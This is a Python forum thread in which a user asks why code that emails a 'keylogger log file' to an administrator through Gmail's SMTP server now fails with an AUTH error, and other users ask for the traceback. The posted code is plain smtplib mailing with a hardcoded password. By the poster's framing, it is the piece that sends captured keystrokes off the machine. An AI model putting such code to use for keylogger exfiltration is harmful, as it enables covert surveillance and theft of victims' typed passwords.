Bottom Page

Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
 "Raise SMTPException("SMTP AUTH extension not supported by server.")
#1
Respected all,
I have written a code in python to send the keylogger log file to administrator, the said code working fine but after a day when I try to test in production the code raises an exception,
Need your response on urgent basis.
Thanks
Quote
#2
code?
Quote
#3
Code...The same code working fine yesterday but today without any change stop working

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

email_user = 'abc@gmail.com'
email_send = 'xyz@gmail.com'
subject ='Python'

msg =MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject

body = 'Hi thre'
msg.attach(MIMEText(body,'plain'))

filename = 'logs.txt'
attachment = open(filename,'rb')

part =MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-disposition',"attachment,filename= "+filename)


msg.attach(part)
text= msg.as_string()

server = smtplib.SMTP('smtp.gmail.com',587)


server.starttls()
server.login(email_user,'qaz@wsx')
server.sendmail(email_user,email_send,text)
server.quit()
buran wrote Feb-15-2018, 08:56 AM:
Please, use proper tags when post code, traceback, output, etc. This time I have added tags for you.
See BBcode help for more info.

Please, post the entire traceback that you get. We need to see that whole thing. Do not just give us the last line.
Take a time to read What to include in a post
Quote
#4
What's the error? Are we expected to just guess?
What sort of machine does it run on in production? Is that machine set to automatically install updates? What's changed from when it worked to when it didn't?
Quote

Top Page

Possibly Related Threads...
Thread Author Replies Views Last Post
  Issue with text encoding ans smtplib.SMTP.sendmail() JustSomeUsername383 1 226 Jul-23-2019, 03:15 PM
Last Post: JustSomeUsername383
  Changing a traceback message without a 2nd raise Clunk_Head 1 186 Jul-14-2019, 12:45 AM
Last Post: Gribouillis
  PUT with Basic Auth and urllib2 rootVIII 0 342 Feb-22-2019, 11:25 PM
Last Post: rootVIII
  python 'SMTP debugging server' not starting local error pcsailor 1 436 Nov-26-2018, 10:13 PM
Last Post: micseydel
  raise exception instead of return None Skaperen 4 815 Jul-19-2018, 01:27 AM
Last Post: ichabod801
  .py File extension now working Pronger05 5 1,352 Sep-26-2017, 08:50 PM
Last Post: nilamo
  Filter out file extension Kiwi_man82 9 3,985 Jan-08-2017, 09:34 PM
Last Post: Kiwi_man82

Forum Jump:


Users browsing this thread: 1 Guest(s)